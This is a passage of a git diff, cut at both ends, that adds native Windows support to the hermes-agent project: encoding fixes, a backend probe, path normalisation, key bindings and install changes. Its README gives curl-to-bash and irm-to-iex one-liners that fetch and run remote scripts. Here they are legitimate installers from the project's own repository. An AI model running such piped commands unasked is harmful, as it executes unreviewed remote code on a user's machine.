all` installs only the +# deps reachable through the composite `[all]` extra (handpicked set +# intended for the production image). We do NOT use `--all-extras`: +# that would pull in `[rl]` (atroposlib + tinker + torch + wandb from +# git), `[yc-bench]` (another git dep), and `[termux-all]` (Android +# redundancy), none of which belong in the published container. +# +# The editable link is created after the source copy below. +COPY pyproject.toml uv.lock ./ +RUN touch ./README.md +RUN uv sync --frozen --no-install-project --extra all + # ---------- Source code ---------- # .dockerignore excludes node_modules, so the installs above survive. COPY --chown=hermes:hermes . . @@ -77,9 +100,10 @@ RUN chmod -R a+rX /opt/hermes && \ # Start as root so the entrypoint can usermod/groupmod + gosu. # If HERMES_UID is unset, the entrypoint drops to the default hermes user (10000). -# ---------- Python virtualenv ---------- -RUN uv venv && \ - uv pip install --no-cache-dir -e ".[all]" +# ---------- Link hermes-agent itself (editable) ---------- +# Deps are already installed in the cached layer above; `--no-deps` makes +# this a fast (~1s) egg-link creation with no resolution or downloads. +RUN uv pip install --no-cache-dir --no-deps -e "." # ---------- Runtime ---------- ENV HERMES_WEB_DIST=/opt/hermes/hermes_cli/web_dist diff --git a/README.md b/README.md index 00458582619..8b8a078b250 100644 --- a/README.md +++ b/README.md @@ -30,15 +30,29 @@ Use any model you want — [Nous Portal](https://portal.nousresearch.com), [Open ## Quick Install +### Linux, macOS, WSL2, Termux + ```bash curl -fsSL https://raw.githubusercontent.com/NousResearch/hermes-agent/main/scripts/install.sh | bash ``` -Works on Linux, macOS, WSL2, and Android via Termux. The installer handles the platform-specific setup for you. +### Windows (native, PowerShell) — Early Beta + +> **Heads up:** Native Windows support is **early beta**. It installs and runs, but hasn't been road-tested as broadly as our Linux/macOS/WSL2 paths. Please [file issues](https://github.com/NousResearch/hermes-agent/issues) when you hit rough edges. For the most battle-tested Windows setup today, run the Linux/macOS one-liner above inside **WSL2**. + +Run this in PowerShell: + +```powershell +irm https://raw.githubusercontent.com/NousResearch/hermes-agent/main/scripts/install.ps1 | iex +``` + +The installer handles everything: uv, Python 3.11, Node.js, ripgrep, ffmpeg, **and a portable Git Bash** (MinGit, unpacked to `%LOCALAPPDATA%\hermes\git` — no admin required, completely isolated from any system Git install). Hermes uses this bundled Git Bash to run shell commands. + +If you already have Git installed, the installer detects it and uses that instead. Otherwise a ~45MB MinGit download is all you need — it won't touch or interfere with any system Git. > **Android / Termux:** The tested manual path is documented in the [Termux guide](https://hermes-agent.nousresearch.com/docs/getting-started/termux). On Termux, Hermes installs a curated `.[termux]` extra because the full `.[all]` extra currently pulls Android-incompatible voice dependencies. > -> **Windows:** Native Windows is not supported. Please install [WSL2](https://learn.microsoft.com/en-us/windows/wsl/install) and run the command above. +> **Windows:** Native Windows is supported as an **early beta** — the PowerShell one-liner above installs everything, but expect rough edges and please file issues when you hit them. If you'd rather use WSL2 (our most battle-tested Windows path), the Linux command works there too. Native Windows install lives under `%LOCALAPPDATA%\hermes`; WSL2 installs under `~/.hermes` as on Linux. The only Hermes feature that currently needs WSL2 specifically is the browser-based dashboard chat pane (it uses a POSIX PTY — classic CLI and gateway both run natively). After installation: diff --git a/acp_adapter/entry.py b/acp_adapter/entry.py index 33e28092f05..cc7f835f7e0 100644 --- a/acp_adapter/entry.py +++ b/acp_adapter/entry.py @@ -13,6 +13,17 @@ Usage:: hermes-acp """ +# IMPORTANT: hermes_bootstrap must be the very first import — UTF-8 stdio +# on Windows. No-op on POSIX. See hermes_bootstrap.py for full rationale. +try: + import hermes_bootstrap # noqa: F401 +except ModuleNotFoundError: + # Graceful fallback when hermes_bootstrap isn't registered in the venv + # yet — happens during partial ``hermes update`` where git-reset landed + # new code but ``uv pip install -e .`` didn't finish. Missing bootstrap + # means UTF-8 stdio setup is skipped on Windows; POSIX is unaffected. + pass + import asyncio import logging import sys diff --git a/agent/copilot_acp_client.py b/agent/copilot_acp_client.py index 457b32b37be..3643837bf5b 100644 --- a/agent/copilot_acp_client.py +++ b/agent/copilot_acp_client.py @@ -69,7 +69,7 @@ def _resolve_home_dir() -> str: try: import pwd - resolved = pwd.getpwuid(os.getuid()).pw_dir.strip() + resolved = pwd.getpwuid(os.getuid()).pw_dir.strip() # windows-footgun: ok — POSIX fallback inside try/except (pwd import fails on Windows) if resolved: return resolved except Exception: diff --git a/agent/curator.py b/agent/curator.py index a726e875b69..3626f5d2345 100644 --- a/agent/curator.py +++ b/agent/curator.py @@ -1607,7 +1607,7 @@ def _run_llm_review(prompt: str) -> Dict[str, Any]: # terminal. The background-thread runner also hides it; this # belt-and-suspenders path matters when a caller invokes # run_curator_review(synchronous=True) from the CLI. - with open(os.devnull, "w") as _devnull, \ + with open(os.devnull, "w", encoding="utf-8") as _devnull, \ contextlib.redirect_stdout(_devnull), \ contextlib.redirect_stderr(_devnull): conv_result = review_agent.run_conversation(user_message=prompt) diff --git a/agent/model_metadata.py b/agent/model_metadata.py index d73d1fef235..4df8a607779 100644 --- a/agent/model_metadata.py +++ b/agent/model_metadata.py @@ -754,7 +754,7 @@ def _load_context_cache() -> Dict[str, int]: if not path.exists(): return {} try: - with open(path) as f: + with open(path, encoding="utf-8") as f: data = yaml.safe_load(f) or {} return data.get("context_lengths", {}) except Exception as e: @@ -776,7 +776,7 @@ def save_context_length(model: str, base_url: str, length: int) -> None: path = _get_context_cache_path() try: path.parent.mkdir(parents=True, exist_ok=True) - with open(path, "w") as f: + with open(path, "w", encoding="utf-8") as f: yaml.dump({"context_lengths": cache}, f, default_flow_style=False) logger.info("Cached context length %s -> %s tokens", key, f"{length:,}") except Exception as e: @@ -800,7 +800,7 @@ def _invalidate_cached_context_length(model: str, base_url: str) -> None: path = _get_context_cache_path() try: path.parent.mkdir(parents=True, exist_ok=True) - with open(path, "w") as f: + with open(path, "w", encoding="utf-8") as f: yaml.dump({"context_lengths": cache}, f, default_flow_style=False) except Exception as e: logger.debug("Failed to invalidate context length cache entry %s: %s", key, e) diff --git a/agent/nous_rate_guard.py b/agent/nous_rate_guard.py index b28803122c5..415d367ca17 100644 --- a/agent/nous_rate_guard.py +++ b/agent/nous_rate_guard.py @@ -144,7 +144,7 @@ def nous_rate_limit_remaining() -> Optional[float]: """ path = _state_path() try: - with open(path) as f: + with open(path, encoding="utf-8") as f: state = json.load(f) reset_at = state.get("reset_at", 0) remaining = reset_at - time.time() diff --git a/agent/prompt_builder.py b/agent/prompt_builder.py index b0261a01618..d60c72562ff 100644 --- a/agent/prompt_builder.py +++ b/agent/prompt_builder.py @@ -584,13 +584,215 @@ WSL_ENVIRONMENT_HINT = ( ) +# Non-local terminal backends that run commands (and therefore every file +# tool: read_file, write_file, patch, search_files) inside a separate +# container / remote host rather than on the machine where Hermes itself +# runs. For these backends, host info (Windows/Linux/macOS, $HOME, cwd) is +# misleading — the agent should only see the machine it can actually touch. +_REMOTE_TERMINAL_BACKENDS = frozenset({ + "docker", "singularity", "modal", "daytona", "ssh", + "vercel_sandbox", "managed_modal", +}) + + +# Per-backend fallback descriptions — used when the live probe fails. +# Only states what we know from the backend choice itself (container type, +# likely OS family). Does NOT invent cwd, user, or $HOME — the agent is +# told to probe those directly if it needs them. +_BACKEND_FALLBACK_DESCRIPTIONS: dict[str, str] = { + "docker": "a Docker container (Linux)", + "singularity": "a Singularity container (Linux)", + "modal": "a Modal sandbox (Linux)", + "managed_modal": "a managed Modal sandbox (Linux)", + "daytona": "a Daytona workspace (Linux)", + "vercel_sandbox": "a Vercel sandbox (Linux)", + "ssh": "a remote host reached over SSH (likely Linux)", +} + + +# Cache the backend probe result per process so we only pay the probe cost +# on the first prompt build of a session. Keyed by (env_type, cwd_hint) so +# a mid-process backend switch rebuilds the string. Kept in-module (not on +# disk) because the probe captures live backend state that may change +# across Hermes restarts. +_BACKEND_PROBE_CACHE: dict[tuple[str, str], str] = {} + + +_WINDOWS_BASH_SHELL_HINT = ( + "Shell: on this Windows host your `terminal` tool runs commands through " + "bash (git-bash / MSYS), NOT PowerShell or cmd.exe. Use POSIX shell " + "syntax (`ls`, `$HOME`, `&&`, `|`, single-quoted strings) inside terminal " + "calls. MSYS-style paths like `/c/Users//...` work alongside " + "native `C:\\Users\\\\...` paths. PowerShell builtins " + "(`Get-ChildItem`, `$env:FOO`, `Select-String`) will NOT work — use their " + "POSIX equivalents (`ls`, `$FOO`, `grep`)." +) + + +def _probe_remote_backend(env_type: str) -> str | None: + """Run a tiny introspection command inside the active terminal backend. + + Returns a pre-formatted multi-line string describing the backend's OS, + $HOME, cwd, and user — or None if the probe failed. Result is cached + per process. Used only for non-local backends where the agent's tools + operate on a different machine than the host Hermes runs on. + """ + cwd_hint = os.getenv("TERMINAL_CWD", "") + cache_key = (env_type, cwd_hint) + cached = _BACKEND_PROBE_CACHE.get(cache_key) + if cached is not None: + return cached or None + + try: + # Import locally: tools/ imports are heavy and only relevant when a + # non-local backend is actually configured. + from tools.terminal_tool import _get_env_config # type: ignore + from tools.environments import get_environment # type: ignore + except Exception as e: + logger.debug("Backend probe unavailable (import failed): %s", e) + _BACKEND_PROBE_CACHE[cache_key] = "" + return None + + try: + config = _get_env_config() + env = get_environment(config) + # Single-line POSIX probe — works on any Unixy backend. Wrapped in + # `2>/dev/null` so a missing binary doesn't pollute the output. + probe_cmd = ( + "printf 'os=%s\\nkernel=%s\\nhome=%s\\ncwd=%s\\nuser=%s\\n' " + "\"$(uname -s 2>/dev/null || echo unknown)\" " + "\"$(uname -r 2>/dev/null || echo unknown)\" " + "\"$HOME\" \"$(pwd)\" \"$(whoami 2>/dev/null || id -un 2>/dev/null || echo unknown)\"" + ) + result = env.execute(probe_cmd, timeout=4) + if result.get("returncode") != 0: + logger.debug("Backend probe returned non-zero: %r", result) + _BACKEND_PROBE_CACHE[cache_key] = "" + return None + output = (result.get("output") or "").strip() + if not output: + _BACKEND_PROBE_CACHE[cache_key] = "" + return None + except Exception as e: + logger.debug("Backend probe failed: %s", e) + _BACKEND_PROBE_CACHE[cache_key] = "" + return None + + # Parse key=value lines back into a tidy summary. + parsed: dict[str, str] = {} + for line in output.splitlines(): + if "=" in line: + k, _, v = line.partition("=") + parsed[k.strip()] = v.strip() + + pieces = [] + os_bits = " ".join(x for x in (parsed.get("os"), parsed.get("kernel")) if x and x != "unknown") + if os_bits: + pieces.append(f"OS: {os_bits}") + if parsed.get("user") and parsed["user"] != "unknown": + pieces.append(f"User: {parsed['user']}") + if parsed.get("home"): + pieces.append(f"Home: {parsed['home']}") + if parsed.get("cwd"): + pieces.append(f"Working directory: {parsed['cwd']}") + + if not pieces: + _BACKEND_PROBE_CACHE[cache_key] = "" + return None + + formatted = "\n".join(f" {p}" for p in pieces) + _BACKEND_PROBE_CACHE[cache_key] = formatted + return formatted + + +def _clear_backend_probe_cache() -> None: + """Test helper — drop the backend probe cache so monkeypatched backends take effect.""" + _BACKEND_PROBE_CACHE.clear() + + def build_environment_hints() -> str: """Return environment-specific guidance for the system prompt. - Detects WSL, and can be extended for Termux, Docker, etc. - Returns an empty string when no special environment is detected. + Always emits a factual block describing the execution environment: + - For **local** terminal backends: the host OS, user home, current + working directory (plus a Windows-only note about hostname != user + and a Windows-only note that `terminal` shells out to bash, not + PowerShell). + - For **remote / sandbox** terminal backends (docker, singularity, + modal, daytona, ssh, vercel_sandbox): host info is **suppressed** + because the agent's tools can't touch the host — only the backend + matters. A live probe inside the backend reports its OS, user, $HOME, + and cwd. Falls back to a static summary if the probe fails. + + The WSL environment hint is appended unchanged when running under WSL. """ + import platform + import sys + hints: list[str] = [] + + backend = (os.getenv("TERMINAL_ENV") or "local").strip().lower() + is_remote_backend = backend in _REMOTE_TERMINAL_BACKENDS + + if not is_remote_backend: + # --- Host info block (local backend: host == where tools run) --- + host_lines: list[str] = [] + if is_wsl(): + host_lines.append("Host: WSL (Windows Subsystem for Linux)") + elif sys.platform == "win32": + host_lines.append(f"Host: Windows ({platform.release()})") + elif sys.platform == "darwin": + mac_ver = platform.mac_ver()[0] + host_lines.append(f"Host: macOS ({mac_ver or platform.release()})") + else: + host_lines.append(f"Host: {platform.system()} ({platform.release()})") + + host_lines.append(f"User home directory: {os.path.expanduser('~')}") + try: + host_lines.append(f"Current working directory: {os.getcwd()}") + except OSError: + pass + + if sys.platform == "win32" and not is_wsl(): + host_lines.append( + "Note: on Windows, the machine hostname (e.g. from `hostname` " + "or uname) is NOT the username. Use the 'User home directory' " + "above to construct paths under C:\\Users\\\\, never the " + "hostname." + ) + hints.append("\n".join(host_lines)) + + # Windows-local terminal runs bash, not PowerShell — the model must + # know this or it will issue PowerShell syntax and fail. + if sys.platform == "win32" and not is_wsl(): + hints.append(_WINDOWS_BASH_SHELL_HINT) + else: + # --- Remote backend block (host info suppressed) --- + probe = _probe_remote_backend(backend) + if probe: + hints.append( + f"Terminal backend: {backend}. Your `terminal`, `read_file`, " + f"`write_file`, `patch`, and `search_files` tools all operate " + f"inside this {backend} environment — NOT on the machine " + f"where Hermes itself is running. The host OS, home, and cwd " + f"of the Hermes process are irrelevant; only the following " + f"backend state matters:\n{probe}" + ) + else: + description = _BACKEND_FALLBACK_DESCRIPTIONS.get( + backend, f"a {backend} environment (likely Linux)" + ) + hints.append( + f"Terminal backend: {backend}. Your `terminal`, `read_file`, " + f"`write_file`, `patch`, and `search_files` tools all operate " + f"inside {description} — NOT on the machine where Hermes " + f"itself runs. The backend probe didn't respond at " + f"prompt-build time, so the sandbox's current user, $HOME, " + f"and working directory are unknown from here. If you need " + f"them, probe directly with a terminal call like " + f"`uname -a && whoami && pwd`." + ) + if is_wsl(): hints.append(WSL_ENVIRONMENT_HINT) return "\n\n".join(hints) diff --git a/agent/shell_hooks.py b/agent/shell_hooks.py index 94750d52041..d45851fea6c 100644 --- a/agent/shell_hooks.py +++ b/agent/shell_hooks.py @@ -617,7 +617,7 @@ def _locked_update_approvals() -> Iterator[Dict[str, Any]]: save_allowlist(data) return - with open(lock_path, "a+") as lock_fh: + with open(lock_path, "a+", encoding="utf-8") as lock_fh: fcntl.flock(lock_fh.fileno(), fcntl.LOCK_EX) try: data = load_allowlist() diff --git a/agent/skill_utils.py b/agent/skill_utils.py index cecbb1fc6c2..28424d7ed62 100644 --- a/agent/skill_utils.py +++ b/agent/skill_utils.py @@ -170,6 +170,19 @@ def _normalize_string_set(values) -> Set[str]: # ── External skills directories ────────────────────────────────────────── +# (config_path_str, mtime_ns) -> resolved external dirs list. Keyed by +# mtime_ns so a config.yaml edit mid-run is picked up automatically; +# otherwise every call would re-read + re-YAML-parse the 15KB config, +# which becomes the dominant cost of ``hermes`` startup when ~120 skills +# each trigger a category lookup during banner construction (10+ seconds +# of pure waste). +_EXTERNAL_DIRS_CACHE: Dict[Tuple[str, int], List[Path]] = {} + + +def _external_dirs_cache_clear() -> None: + """Test hook — drop the in-process cache.""" + _EXTERNAL_DIRS_CACHE.clear() + def get_external_skills_dirs() -> List[Path]: """Read ``skills.external_dirs`` from config.yaml and return validated paths. @@ -177,10 +190,30 @@ def get_external_skills_dirs() -> List[Path]: Each entry is expanded (``~`` and ``${VAR}``) and resolved to an absolute path. Only directories that actually exist are returned. Duplicates and paths that resolve to the local ``~/.hermes/skills/`` are silently skipped. + + Cached in-process, keyed on ``config.yaml`` mtime — the function is + called once per skill during banner / tool-registry scans, and YAML + parsing a non-trivial config dominates ``hermes`` cold-start time + when the cache is absent. """ config_path = get_config_path() if not config_path.exists(): return [] + + # Cache key: (absolute path, mtime_ns). stat() is ~2us vs ~85ms for + # the full YAML parse, so the fast path is nearly free. + try: + stat = config_path.stat() + cache_key: Tuple[str, int] = (str(config_path), stat.st_mtime_ns) + except OSError: + cache_key = None # type: ignore[assignment] + + if cache_key is not None: + cached = _EXTERNAL_DIRS_CACHE.get(cache_key) + if cached is not None: + # Return a copy so callers can't mutate the cached list. + return list(cached) + try: parsed = yaml_load(config_path.read_text(encoding="utf-8")) except Exception: @@ -194,7 +227,10 @@ def get_external_skills_dirs() -> List[Path]: raw_dirs = skills_cfg.get("external_dirs") if not raw_dirs: - return [] + result: List[Path] = [] + if cache_key is not None: + _EXTERNAL_DIRS_CACHE[cache_key] = list(result) + return result if isinstance(raw_dirs, str): raw_dirs = [raw_dirs] if not isinstance(raw_dirs, list): @@ -205,7 +241,7 @@ def get_external_skills_dirs() -> List[Path]: hermes_home = get_hermes_home() local_skills = get_skills_dir().resolve() seen: Set[Path] = set() - result: List[Path] = [] + result = [] for entry in raw_dirs: entry = str(entry).strip() @@ -229,6 +265,8 @@ def get_external_skills_dirs() -> List[Path]: else: logger.debug("External skills dir does not exist, skipping: %s", p) + if cache_key is not None: + _EXTERNAL_DIRS_CACHE[cache_key] = list(result) return result diff --git a/batch_runner.py b/batch_runner.py index f3aaefa3d9a..713a1febab7 100644 --- a/batch_runner.py +++ b/batch_runner.py @@ -20,6 +20,17 @@ Usage: python batch_runner.py --dataset_file=data.jsonl --batch_size=10 --run_name=my_run --distribution=image_gen """ +# IMPORTANT: hermes_bootstrap must be the very first import — UTF-8 stdio +# on Windows. No-op on POSIX. See hermes_bootstrap.py for full rationale. +try: + import hermes_bootstrap # noqa: F401 +except ModuleNotFoundError: + # Graceful fallback when hermes_bootstrap isn't registered in the venv + # yet — happens during partial ``hermes update`` where git-reset landed + # new code but ``uv pip install -e .`` didn't finish. Missing bootstrap + # means UTF-8 stdio setup is skipped on Windows; POSIX is unaffected. + pass + import json import logging import os diff --git a/cli.py b/cli.py index ebc29096138..596794909f2 100644 --- a/cli.py +++ b/cli.py @@ -9,10 +9,20 @@ Usage: python cli.py # Start interactive mode with all tools python cli.py --toolsets web,terminal # Start with specific toolsets python cli.py --skills hermes-agent-dev,github-auth - python cli.py -q "your question" # Single query mode python cli.py --list-tools # List available tools and exit """ +# IMPORTANT: hermes_bootstrap must be the very first import — UTF-8 stdio +# on Windows. No-op on POSIX. See hermes_bootstrap.py for full rationale. +try: + import hermes_bootstrap # noqa: F401 +except ModuleNotFoundError: + # Graceful fallback when hermes_bootstrap isn't registered in the venv + # yet — happens during partial ``hermes update`` where git-reset landed + # new code but ``uv pip install -e .`` didn't finish. Missing bootstrap + # means UTF-8 stdio setup is skipped on Windows; POSIX is unaffected. + pass + import logging import os import shutil @@ -60,6 +70,13 @@ try: _STEADY_CURSOR = CursorShape.BLOCK # Non-blinking block cursor except (ImportError, AttributeError): _STEADY_CURSOR = None + +try: + from hermes_cli.pt_input_extras import install_shift_enter_alias + install_shift_enter_alias() + del install_shift_enter_alias +except Exception: + pass import threading import queue @@ -675,6 +692,7 @@ def _run_cleanup(): if _cleanup_done: return _cleanup_done = True + try: _cleanup_all_terminals() except Exception: @@ -728,8 +746,43 @@ def _run_cleanup(): _active_worktree: Optional[Dict[str, str]] = None +def _normalize_git_bash_path(p: Optional[str]) -> Optional[str]: + """Translate a Git Bash-style path (``/c/Users/...``) to the native + Windows form (``C:\\Users\\...``) that Python's ``subprocess.Popen`` + and ``pathlib.Path`` accept. + + No-op on non-Windows and for paths that already look native. Git on + native Windows normally emits forward-slash Windows paths + (``C:/Users/...``) which both bash and Python handle, but certain + configurations (Git Bash shells, MSYS2, WSL-mounted repos) surface + ``/c/...`` or ``/cygdrive/c/...`` variants. + """ + if not p: + return p + if sys.platform != "win32": + return p + import re as _re + # /c/Users/... or /C/Users/... + m = _re.match(r"^/([a-zA-Z])/(.*)$", p) + if m: + drive, rest = m.group(1), m.group(2) + return f"{drive.upper()}:\\{rest.replace('/', chr(92))}" + # /cygdrive/c/... or /mnt/c/... + m = _re.match(r"^/(?:cygdrive|mnt)/([a-zA-Z])/(.*)$", p) + if m: + drive, rest = m.group(1), m.group(2) + return f"{drive.upper()}:\\{rest.replace('/', chr(92))}" + return p + + def _git_repo_root() -> Optional[str]: - """Return the git repo root for CWD, or None if not in a repo.""" + """Return the git repo root for CWD, or None if not in a repo. + + Runs through :func:`_normalize_git_bash_path` so callers can pass + the result directly to ``Path``/``subprocess.Popen(cwd=...)`` on + Windows without hitting ``C:\\c\\Users\\...`` style resolution + mistakes. + """ import subprocess try: result = subprocess.run( @@ -737,7 +790,7 @@ def _git_repo_root() -> Optional[str]: capture_output=True, text=True, timeout=5, ) if result.returncode == 0: - return result.stdout.strip() + return _normalize_git_bash_path(result.stdout.strip()) except Exception: pass return None @@ -781,7 +834,7 @@ def _setup_worktree(repo_root: str = None) -> Optional[Dict[str, str]]: try: existing = gitignore.read_text() if gitignore.exists() else "" if _ignore_entry not in existing.splitlines(): - with open(gitignore, "a") as f: + with open(gitignore, "a", encoding="utf-8") as f: if existing and not existing.endswith("\n"): f.write("\n") f.write(f"{_ignore_entry}\n") @@ -832,10 +885,39 @@ def _setup_worktree(repo_root: str = None) -> Optional[Dict[str, str]]: dst.parent.mkdir(parents=True, exist_ok=True) shutil.copy2(str(src), str(dst)) elif src.is_dir(): - # Symlink directories (faster, saves disk) + # Symlink directories (faster, saves disk). On Windows, + # symlink creation requires Developer Mode or elevation, + # and fails with OSError otherwise — fall back to a + # recursive copy so the worktree is still usable. The + # copy is slower and uses disk, but it doesn't require + # admin and matches the Linux/macOS symlink outcome + # functionally. if not dst.exists(): dst.parent.mkdir(parents=True, exist_ok=True) - os.symlink(str(src_resolved), str(dst)) + try: + os.symlink(str(src_resolved), str(dst)) + except (OSError, NotImplementedError) as _sym_err: + if sys.platform == "win32": + logger.info( + ".worktreeinclude: symlink failed (%s) — " + "falling back to copytree on Windows.", + _sym_err, + ) + try: + shutil.copytree( + str(src_resolved), + str(dst), + symlinks=True, + dirs_exist_ok=False, + ) + except Exception as _copy_err: + logger.warning( + ".worktreeinclude: copy fallback " + "also failed for %s -> %s: %s", + src, dst, _copy_err, + ) + else: + raise except Exception as e: logger.debug("Error copying .worktreeinclude entries: %s", e) @@ -1781,9 +1863,20 @@ _TERMINAL_INPUT_MODE_RESET_SEQ = ( def _bind_prompt_submit_keys(kb, handler) -> None: - """Bind both CR and LF terminal Enter forms to the submit handler.""" - for key in ("enter", "c-j"): - kb.add(key)(handler) + """Bind terminal Enter forms to the submit handler. + + Enter is always submit. On POSIX we also bind c-j (LF) to submit because + some thin PTYs (docker exec, certain SSH flavors) deliver Enter as LF + instead of CR — without this, Enter appears dead on those terminals. + + On Windows, Windows Terminal delivers Ctrl+Enter as a distinct c-j key + while plain Enter is c-m, so we leave c-j unbound here — it becomes the + multi-line newline keystroke, giving Windows users an Enter-involving + newline without any terminal settings changes. + """ + kb.add("enter")(handler) + if sys.platform != "win32": + kb.add("c-j")(handler) def _disable_prompt_toolkit_cpr_warning(app) -> None: @@ -2080,7 +2173,7 @@ def save_config_value(key_path: str, value: any) -> bool: # Load existing config if config_path.exists(): - with open(config_path, 'r') as f: + with open(config_path, 'r', encoding="utf-8") as f: config = yaml.safe_load(f) or {} else: config = {} @@ -9776,7 +9869,7 @@ class HermesCLI: # Debug: log to file (stdout may be devnull from redirect_stdout) try: _dbg = _hermes_home / "interrupt_debug.log" - with open(_dbg, "a") as _f: + with open(_dbg, "a", encoding="utf-8") as _f: _f.write(f"{time.strftime('%H:%M:%S')} interrupt fired: msg={str(interrupt_msg)[:60]!r}, " f"children={len(self.agent._active_children)}, " f"parent._interrupt={self.agent._interrupt_requested}\n") @@ -10629,7 +10722,7 @@ class HermesCLI: # Debug: log to file when message enters interrupt queue try: _dbg = _hermes_home / "interrupt_debug.log" - with open(_dbg, "a") as _f: + with open(_dbg, "a", encoding="utf-8") as _f: _f.write(f"{time.strftime('%H:%M:%S')} ENTER: queued interrupt msg={str(payload)[:60]!r}, " f"agent_running={self._agent_running}\n") except Exception: @@ -10660,9 +10753,30 @@ class HermesCLI: @kb.add('escape', 'enter') def handle_alt_enter(event): - """Alt+Enter inserts a newline for multi-line input.""" + """Alt+Enter inserts a newline for multi-line input. + + Works on mac/Linux/WSL. On Windows Terminal this keystroke is + intercepted at the terminal layer (toggles fullscreen) and never + reaches here — Windows users get newline via Ctrl+Enter instead + (bound below as c-j, since WT delivers Ctrl+Enter as LF). + """ event.current_buffer.insert_text('\n') + if sys.platform == "win32": + @kb.add('c-j') + def handle_ctrl_enter_newline_windows(event): + """Ctrl+Enter inserts a newline on Windows. + + Windows Terminal delivers Ctrl+Enter as LF (c-j), distinct + from plain Enter (c-m). This binding makes Ctrl+Enter the + Windows equivalent of Alt+Enter, giving an Enter-involving + newline keystroke without requiring terminal settings changes. + Ctrl+J (the raw LF keystroke) also triggers this by virtue + of being the same key code — a harmless side effect since + Ctrl+J has no conflicting Hermes binding. + """ + event.current_buffer.insert_text('\n') + # VSCode/Cursor bind Ctrl+G to "Find Next" at the editor level, so # the keystroke never reaches the embedded terminal. Alt+G is unbound # in those IDEs and arrives here as ('escape', 'g') — register it as @@ -12248,6 +12362,36 @@ class HermesCLI: _signal.signal(_signal.SIGTERM, _signal_handler) if hasattr(_signal, 'SIGHUP'): _signal.signal(_signal.SIGHUP, _signal_handler) + + # Windows: install a SIGINT handler that absorbs the signal + # instead of letting Python's default handler raise + # KeyboardInterrupt in MainThread. Windows Terminal / Win32 + # delivers spurious CTRL_C_EVENT to the hermes process when + # child processes are spawned from background threads (agent + # subprocess Popen path). The default Python SIGINT handler + # would then unwind prompt_toolkit's app.run(), trigger + # _run_cleanup mid-turn, and close browser sessions mid-open + # — causing "Daemon process exited during startup" errors. + # + # The handler is a silent no-op. Real user Ctrl+C still works + # because prompt_toolkit binds c-c at the TUI layer and never + # reaches this OS-signal path. This matches how Claude Code + # handles the same Windows quirk (cancellation is driven by + # the TUI key handler, not by OS signals). + # + # POSIX: leave the default SIGINT handler alone. prompt_toolkit + # installs its own handler there and it works as expected. + if sys.platform == "win32": + def _sigint_absorb(signum, frame): + # Absorb silently. Do NOT call agent.interrupt() here: + # Windows fires spurious CTRL_C_EVENT whenever a + # background thread spawns a .cmd subprocess, and + # interrupt() would inject a fake user message each + # time. Real user Ctrl+C routes through prompt_toolkit's + # own c-c key binding at the TUI layer (same pattern as + # Claude Code's Windows handling). + return + _signal.signal(_signal.SIGINT, _sigint_absorb) except Exception: pass # Signal handlers may fail in restricted environments @@ -12433,6 +12577,15 @@ def main( """ global _active_worktree + # Force UTF-8 stdio on Windows before any banner/print() runs — the + # Rich console prints Unicode box-drawing characters that would + # UnicodeEncodeError on cp1252. No-op on Linux/macOS. + try: + from hermes_cli.stdio import configure_windows_stdio + configure_windows_stdio() + except Exception: + pass + # Signal to terminal_tool that we're in interactive mode # This enables interactive sudo password prompts with timeout os.environ["HERMES_INTERACTIVE"] = "1" diff --git a/cron/scheduler.py b/cron/scheduler.py index 0eccd458ff1..b8ea95692cd 100644 --- a/cron/scheduler.py +++ b/cron/scheduler.py @@ -14,6 +14,7 @@ import contextvars import json import logging import os +import shutil import subprocess import sys @@ -754,7 +755,21 @@ def _run_job_script(script_path: str) -> tuple[bool, str]: # choice explicit here keeps the allowed surface small and auditable. suffix = path.suffix.lower() if suffix in (".sh", ".bash"): - argv = ["/bin/bash", str(path)] + # Resolve bash dynamically so Windows (Git Bash) and Linux/macOS + # all work. On native Windows without Git for Windows installed + # shutil.which returns None — fall back to a clear error rather + # than a FileNotFoundError with a confusing "[WinError 2]" + # traceback. + _bash = shutil.which("bash") or ( + "/bin/bash" if os.path.isfile("/bin/bash") else None + ) + if _bash is None: + return False, ( + f"Cannot run .sh/.bash script {path.name!r}: bash not found on PATH. " + "On Windows, install Git for Windows (which ships Git Bash) " + "or rewrite the script as Python (.py)." + ) + argv = [_bash, str(path)] else: argv = [sys.executable, str(path)] @@ -1253,7 +1268,7 @@ def run_job(job: dict) -> tuple[bool, str, str, Optional[str]]: import yaml _cfg_path = str(_get_hermes_home() / "config.yaml") if os.path.exists(_cfg_path): - with open(_cfg_path) as _f: + with open(_cfg_path, encoding="utf-8") as _f: _cfg = yaml.safe_load(_f) or {} _cfg = _expand_env_vars(_cfg) _model_cfg = _cfg.get("model", {}) @@ -1636,7 +1651,7 @@ def tick(verbose: bool = True, adapters=None, loop=None) -> int: # Cross-platform file locking: fcntl on Unix, msvcrt on Windows lock_fd = None try: - lock_fd = open(lock_file, "w") + lock_fd = open(lock_file, "w", encoding="utf-8") if fcntl: fcntl.flock(lock_fd, fcntl.LOCK_EX | fcntl.LOCK_NB) elif msvcrt: diff --git a/environments/benchmarks/terminalbench_2/terminalbench2_env.py b/environments/benchmarks/terminalbench_2/terminalbench2_env.py index c7eaff6c4c2..db6f6f58d73 100644 --- a/environments/benchmarks/terminalbench_2/terminalbench2_env.py +++ b/environments/benchmarks/terminalbench_2/terminalbench2_env.py @@ -365,7 +365,7 @@ class TerminalBench2EvalEnv(HermesAgentBaseEnv): os.makedirs(log_dir, exist_ok=True) run_ts = datetime.datetime.now().strftime("%Y%m%d_%H%M%S") self._streaming_path = os.path.join(log_dir, f"samples_{run_ts}.jsonl") - self._streaming_file = open(self._streaming_path, "w") + self._streaming_file = open(self._streaming_path, "w", encoding="utf-8") self._streaming_lock = __import__("threading").Lock() print(f" Streaming results to: {self._streaming_path}") diff --git a/environments/benchmarks/yc_bench/yc_bench_env.py b/environments/benchmarks/yc_bench/yc_bench_env.py index 4247ae56c6e..4fd22495440 100644 --- a/environments/benchmarks/yc_bench/yc_bench_env.py +++ b/environments/benchmarks/yc_bench/yc_bench_env.py @@ -422,7 +422,7 @@ class YCBenchEvalEnv(HermesAgentBaseEnv): os.makedirs(log_dir, exist_ok=True) run_ts = datetime.datetime.now().strftime("%Y%m%d_%H%M%S") self._streaming_path = os.path.join(log_dir, f"samples_{run_ts}.jsonl") - self._streaming_file = open(self._streaming_path, "w") + self._streaming_file = open(self._streaming_path, "w", encoding="utf-8") self._streaming_lock = threading.Lock() print(f"\nYC-Bench eval matrix: {len(self.all_eval_items)} runs") diff --git a/gateway/platforms/telegram.py b/gateway/platforms/telegram.py index 0d0ac3866fb..e4bba209b82 100644 --- a/gateway/platforms/telegram.py +++ 